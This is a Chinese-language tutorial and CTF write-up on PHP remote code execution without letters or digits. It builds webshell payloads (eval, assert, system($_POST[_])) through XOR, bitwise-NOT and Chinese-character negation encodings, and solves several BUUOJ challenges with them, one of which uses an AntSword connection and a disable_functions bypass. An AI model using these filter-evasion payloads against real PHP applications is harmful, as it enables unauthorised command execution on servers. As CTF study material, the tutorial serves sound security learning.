无数字字母RCE就是不利用数字和字母,构造webshell
来执行命令。常见的利用方法有异或、取反这两种,此外还有或、自增和临时文件。
异或
法一
在php中,两个字符进行异或时,会先将字符分别转换成ascii码值,再将这个值转换成二进制,然后将两个二进制值进行按位异或。按位异或的规则:1^1=0,0^0=0,1^0=1
以@
和!
异或得a
为例,下面是三种不同的方法:
echo '@'^'!'; |
通过构造$_GET[]
传入新的参数,执行phpinfo();
eval($_GET[code]); |
脚本:
|
法二
原理:按位异或相同为0不同为1,任意字符与%ff
异或两次得任意字符。
先看下面这个例子:
|
构造print_r(scandir(.));
:
//%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff #print_r |
构造readfile(end(scandir(.)));
:
((%8D%9A%9E%9B%99%96%93%9A)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9A%91%9B)^(%ff%ff%ff))((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff))(%D1^%ff)); |
有时候可能会限制字符的种类个数,我们就需要在原有的字符里再相互异或出需要的字符,需要一个一个找哪些字符可以由哪些字符异或得出。
例如a = c^p^r
,为什么要三个字符异或两次而不是两个字符异或一次呢,因为要保证其他的字符不变,需要与%ff
异或两次。
|
现在要将((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))
减少字符种类,其实我们是要对%8F%8D%96%91%8B%A0%8D
进行多次异或使之不变,已知n = i^s^t
。
echo urlencode('n'^urldecode("%ff")); |
故有如下结论:
%8F%8D%96%91%8B%A0%8D = (%8F%8D%96%96%8B%A0%8D)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff) |
取反
因为取反后的结果有不可见字符,故需对其进行url
编码,而_GET
传参会对url
编码的内容进行解码。
法一
对_POST
进行取反并url
编码,在解码取反得到。由于这部分要与assert()
一起利用,故(eval($_POST[_]))
这里外层加上了括号。
echo urlencode(~'_POST'); #%A0%AF%B0%AC%AB |
构造eval($_POST[_]);
# assert %9E%8C%8C%9A%8D%8B |
构造phpinfo();
# phpinfo %8F978F96919990 |
另一种方式构造system($_POST[_])
$_ = ~(%8C%86%8C%8B%9A%92); #定义变量$_为system |
法二
这种方法是利用汉字取反构造。
可以通过对'构'{1}
进行取反,来构造字符a
,而1
可以通过'_'=='_'
来获得。'_'=='_'
结果为真,故返回1
,反之'_'=='__'
结果为假,返回0
。
构造phpinfo();
$_=[]==[]; |
构造system($_POST[_]);
$_=[]==[]; |
寻找对应汉字的脚本:
|
例题
[SUCTF 2019]EasyWeb
要绕过如下过滤:

已知_,G,E,T
字符可以如下构成
_:86^ d9 |
构造执行phpinfo()
的payload
eval($_GET[code]); |
[极客大挑战 2019]RCE ME
源码如下:
$code=$_GET['code']; |
过滤了大小写字母和数字
先通过phpinfo()测试一下
# phpinfo %8F%97%8F%96%91%99%90 |
%8F%97%8F%96%91%99%90
是什么呢?是由字符串phpinfo
先取反再进行url
编码所得到的一串编码。
|
解题:
传入参数?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6);
蚁剑连接http://81ee6069-0856-4349-b89f-342253bbe6eb.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6);
绕过diasble_functions
然后选择绕过diasble_functions
插件

选择模式,PHP7_GC_UAF

在命令行界面中执行/readflag
,得到flag

[SUCTF 2018]GetShell

上传一个文件,会对文件中从第五个字符及以后依次检查,该过滤的都过滤完了,就只剩下$ ~ [] _ () ; .
这些字符没有被过滤,这里利用一种汉字取反的方法。
构造system($_POST[_]);
,并上传
|
buu
环境原因,只能在环境变量中查看flag,system('env')
查看系统中的环境变量。